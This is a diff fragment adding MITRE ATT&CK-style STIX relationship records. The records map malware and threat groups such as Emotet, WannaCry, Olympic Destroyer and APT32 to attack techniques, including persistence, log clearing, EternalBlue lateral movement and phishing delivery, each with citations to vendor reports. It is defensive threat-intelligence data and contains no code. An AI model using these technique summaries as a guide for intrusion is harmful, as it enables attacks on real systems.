"2020-03-18T20:18:02.875Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-18T20:17:17.641Z", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). 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Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--88427fdf-9d70-49d2-a7ca-4c79ee387d3d", + "description": "[Empire](https://attack.mitre.org/software/S0363) has the ability to gather browser data such as bookmarks and visited sites.(Citation: Github PowerShell Empire)", + "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7", + "modified": "2021-04-09T14:46:58.860Z", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-11T15:04:51.661Z", + "external_references": [ + { + "source_name": "Github PowerShell Empire", + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). 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(Citation: Trend Micro Emotet Jan 2019)", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "modified": "2019-06-28T15:25:29.213Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-25T19:31:02.139Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf", + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . 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Retrieved May 24, 2019.", + "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4d880164-0891-4721-b393-7e3a3bcc0fd9", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) will attempt to clear the System and Security event logs using wevtutil.(Citation: Talos Olympic Destroyer 2018)", + "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", + "modified": "2020-02-18T03:50:33.687Z", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-25T20:04:10.745Z", + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. 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Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b3c7d447-9b00-4bd6-b0b7-25c0bb56d28a", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) will attempt to determine the local network segment it is a part of.(Citation: SecureWorks WannaCry Analysis)", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2019-04-22T11:43:33.396Z", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-26T13:38:24.526Z", + "external_references": [ + { + "source_name": "SecureWorks WannaCry Analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. 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If one is identified, it will encrypt the files on the attached device.(Citation: FireEye WannaCry 2017)", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "modified": "2019-04-22T11:43:33.401Z", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-26T13:38:24.556Z", + "external_references": [ + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. 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(2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "source_name": "LogRhythm WannaCry" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5c56206f-8ae3-4296-ab89-bc2036b74896", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) encrypts user files and demands that a ransom be paid in Bitcoin to decrypt those files.(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)(Citation: SecureWorks WannaCry Analysis)", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "modified": "2019-04-22T11:43:33.394Z", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-26T13:38:24.567Z", + "external_references": [ + { + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/", + "description": "Noerenberg, E., Costis, A., and Quist, N. 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Retrieved March 26, 2019.", + "source_name": "Talos Nyetya June 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3236ca50-2342-455a-b258-6a085cae8fc2", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed adding the downloaded payload to the HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run key to maintain persistence.(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: Picus Emotet Dec 2018)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2019-06-28T15:25:29.465Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-26T17:48:52.119Z", + "external_references": [ + { + "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor", + "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.", + "source_name": "Symantec Emotet Jul 2018" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A", + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "source_name": "US-CERT Emotet Jul 2018" + }, + { + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html", + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "source_name": "Picus Emotet Dec 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e834920f-bc30-458e-b56e-80947d3a7c6e", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed injecting in to Explorer.exe and other processes. (Citation: Picus Emotet Dec 2018)(Citation: Trend Micro Banking Malware Jan 2019)(Citation: US-CERT Emotet Jul 2018)", + "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", + "modified": "2020-03-16T15:51:29.953Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-26T17:48:52.139Z", + "external_references": [ + { + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html", + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "source_name": "Picus Emotet Dec 2018" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/", + "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019.", + "source_name": "Trend Micro Banking Malware Jan 2019" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A", + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "source_name": "US-CERT Emotet Jul 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7b458295-8e67-4f1f-acde-3316ae2e061e", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has used Powershell to retrieve the malicious payload and download additional resources like [Mimikatz](https://attack.mitre.org/software/S0002). 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Exploring Emotet's Activities . Retrieved March 25, 2019.", + "source_name": "Trend Micro Emotet Jan 2019" + }, + { + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html", + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "source_name": "Picus Emotet Dec 2018" + }, + { + "url": "https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/", + "description": "Donohue, B.. (2019, February 13). https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/. Retrieved March 25, 2019.", + "source_name": "Red Canary Emotet Feb 2019" + }, + { + "source_name": "Carbon Black Emotet Apr 2019", + "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.", + "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7a28c0d9-28cf-4881-b8a5-8d779eb76e0d", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has maintained persistence through a scheduled task. (Citation: US-CERT Emotet Jul 2018)", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "modified": "2020-03-28T21:33:48.333Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-26T17:48:52.149Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A", + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "source_name": "US-CERT Emotet Jul 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--eba0a033-02a9-45e8-a1a1-27df73d6442b", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed creating new services to maintain persistence. (Citation: US-CERT Emotet Jul 2018)(Citation: Secureworks Emotet Nov 2018) ", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "modified": "2019-06-28T15:25:29.599Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-26T17:48:52.172Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A", + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "source_name": "US-CERT Emotet Jul 2018" + }, + { + "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader", + "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.", + "source_name": "Secureworks Emotet Nov 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--aa6d74b0-3db2-4679-bf1c-03d3dd7561b0", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed to hook network APIs to monitor network traffic. (Citation: Trend Micro Banking Malware Jan 2019)", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "modified": "2019-06-28T15:25:29.590Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-26T17:48:52.178Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/", + "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019.", + "source_name": "Trend Micro Banking Malware Jan 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6cb2f741-eedb-4b1d-8d84-7823f0095d44", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been seen exploiting SMB via a vulnerability exploit like EternalBlue (MS17-010) to achieve lateral movement and propagation. (Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: Red Canary Emotet Feb 2019) ", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "modified": "2020-11-24T20:15:55.399Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-26T17:48:52.214Z", + "external_references": [ + { + "source_name": "Symantec Emotet Jul 2018", + "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor" + }, + { + "source_name": "US-CERT Emotet Jul 2018", + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A" + }, + { + "source_name": "Secureworks Emotet Nov 2018", + "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.", + "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader" + }, + { + "source_name": "Red Canary Emotet Feb 2019", + "description": "Donohue, B.. (2019, February 13). https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/. Retrieved March 25, 2019.", + "url": "https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1bc150db-66ca-4361-84a2-2dd0f104790f", + "description": "[Emotet](https://attack.mitre.org/software/S0367) leverages the Admin$ share for lateral movement once the local admin password has been brute forced. (Citation: Malwarebytes Emotet Dec 2017) ", + "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", + "modified": "2019-06-28T15:25:29.593Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-26T19:23:01.984Z", + "external_references": [ + { + "url": "https://support.malwarebytes.com/docs/DOC-2295", + "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.", + "source_name": "Malwarebytes Emotet Dec 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8cc5a418-1956-4d64-a720-2258ad02533f", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed communicating over non standard ports, including 7080 and 50000.(Citation: Kaspersky Emotet Jan 2019)(Citation: Picus Emotet Dec 2018)(Citation: Sophos Emotet Apr 2019)(Citation: Talos Emotet Jan 2019)", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "modified": "2019-06-28T15:25:29.620Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-26T19:23:02.002Z", + "external_references": [ + { + "url": "https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/", + "description": "Shulmin, A. . (2015, April 9). The Banking Trojan Emotet: Detailed Analysis. Retrieved March 25, 2019.", + "source_name": "Kaspersky Emotet Jan 2019" + }, + { + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html", + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "source_name": "Picus Emotet Dec 2018" + }, + { + "url": "https://news.sophos.com/en-us/2019/03/05/emotet-101-stage-4-command-and-control/", + "description": "Brandt, A.. (2019, May 5). Emotet 101, stage 4: command and control. Retrieved April 16, 2019.", + "source_name": "Sophos Emotet Apr 2019" + }, + { + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html", + "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.", + "source_name": "Talos Emotet Jan 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--095a259d-79c7-42b0-b65a-e423f110d187", + "description": "[Emotet](https://attack.mitre.org/software/S0367) is known to use RSA keys for encrypting C2 traffic. (Citation: Trend Micro Emotet Jan 2019)", + "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "modified": "2020-03-20T23:22:03.080Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-26T19:23:02.007Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf", + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.", + "source_name": "Trend Micro Emotet Jan 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--382b8780-edc3-477f-a7fa-3e6ba62397a2", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been delivered by phishing emails containing links. (Citation: Trend Micro Banking Malware Jan 2019)(Citation: Kaspersky Emotet Jan 2019)(Citation: CIS Emotet Apr 2017)(Citation: Malwarebytes Emotet Dec 2017)(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: Talos Emotet Jan 2019)(Citation: Talos Emotet Jan 2019)(Citation: Picus Emotet Dec 2018)", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "modified": "2019-06-28T15:25:29.858Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-26T19:23:02.037Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/", + "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019.", + "source_name": "Trend Micro Banking Malware Jan 2019" + }, + { + "url": "https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/", + "description": "Shulmin, A. . (2015, April 9). The Banking Trojan Emotet: Detailed Analysis. Retrieved March 25, 2019.", + "source_name": "Kaspersky Emotet Jan 2019" + }, + { + "url": "https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/", + "description": "CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019.", + "source_name": "CIS Emotet Apr 2017" + }, + { + "url": "https://support.malwarebytes.com/docs/DOC-2295", + "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.", + "source_name": "Malwarebytes Emotet Dec 2017" + }, + { + "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor", + "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.", + "source_name": "Symantec Emotet Jul 2018" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A", + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "source_name": "US-CERT Emotet Jul 2018" + }, + { + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html", + "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.", + "source_name": "Talos Emotet Jan 2019" + }, + { + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html", + "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.", + "source_name": "Talos Emotet Jan 2019" + }, + { + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html", + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "source_name": "Picus Emotet Dec 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cc4f0b64-db39-4546-a5fc-a518ecc5438b", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been delivered by phishing emails containing attachments. (Citation: CIS Emotet Apr 2017)(Citation: Malwarebytes Emotet Dec 2017)(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: Talos Emotet Jan 2019)(Citation: Trend Micro Emotet Jan 2019)(Citation: Picus Emotet Dec 2018)(Citation: Carbon Black Emotet Apr 2019)(Citation: IBM IcedID November 2017)", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "modified": "2020-07-15T18:05:15.557Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-26T19:23:02.065Z", + "external_references": [ + { + "url": "https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/", + "description": "CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. 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(2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.", + "source_name": "Cyberreason Anchor December 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--90b7c9e6-53db-4656-a5ee-f8056a8d6ef7", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has relied upon users clicking on a malicious link delivered through spearphishing.(Citation: Trend Micro Banking Malware Jan 2019)(Citation: Carbon Black Emotet Apr 2019)", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "modified": "2020-03-17T13:31:00.679Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-29T13:56:52.432Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/", + "description": "Salvio, J.. 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Retrieved May 24, 2019.", + "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--702f03db-1562-425c-a146-225ea3f573f5", + "target_ref": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7", + "modified": "2020-02-20T22:07:27.638Z", + "source_ref": "course-of-action--0b3ee33e-430b-476f-9525-72d120c90f8d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-03-29T16:43:59.192Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7fa1a7c8-0dfb-4bd5-a34f-509ba24da5be", + "description": "[RawDisk](https://attack.mitre.org/software/S0364) has been used to directly access the hard disk to help overwrite arbitrarily sized portions of disk content.(Citation: Novetta Blockbuster Destructive Malware)", + "target_ref": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac", + "modified": "2019-04-19T19:04:56.044Z", + "source_ref": "tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-03-29T16:48:43.877Z", + "external_references": [ + { + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "source_name": "Novetta Blockbuster Destructive Malware" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--088ed15f-46da-4b32-a182-68553c61f09b", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed encrypting the data it collects before sending it to the C2 server. (Citation: Fortinet Emotet May 2017)", + "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "modified": "2020-03-30T02:52:04.537Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-01T15:06:38.851Z", + "external_references": [ + { + "source_name": "Fortinet Emotet May 2017", + "description": "Xiaopeng Zhang. (2017, May 3). Deep Analysis of New Emotet Variant \u2013 Part 1. Retrieved April 1, 2019.", + "url": "https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-1.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f1492f41-c3fb-4231-9a18-a90334aa3234", + "description": "[APT32](https://attack.mitre.org/groups/G0050) backdoor can use HTTP over an uncommon TCP port (e.g 14146) which is specified in the backdoor configuration.(Citation: ESET OceanLotus Mar 2019)", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "modified": "2019-07-17T13:11:38.720Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-01T21:09:50.268Z", + "external_references": [ + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e2048373-fe76-4f99-8608-60eaa05d1b2b", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used RTF document that includes an exploit to execute malicious code. (CVE-2017-11882)(Citation: ESET OceanLotus Mar 2019)", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "modified": "2019-07-17T13:11:38.730Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-04-01T21:09:50.292Z", + "external_references": [ + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ] + }, + { + "object_marking_refs": [ + 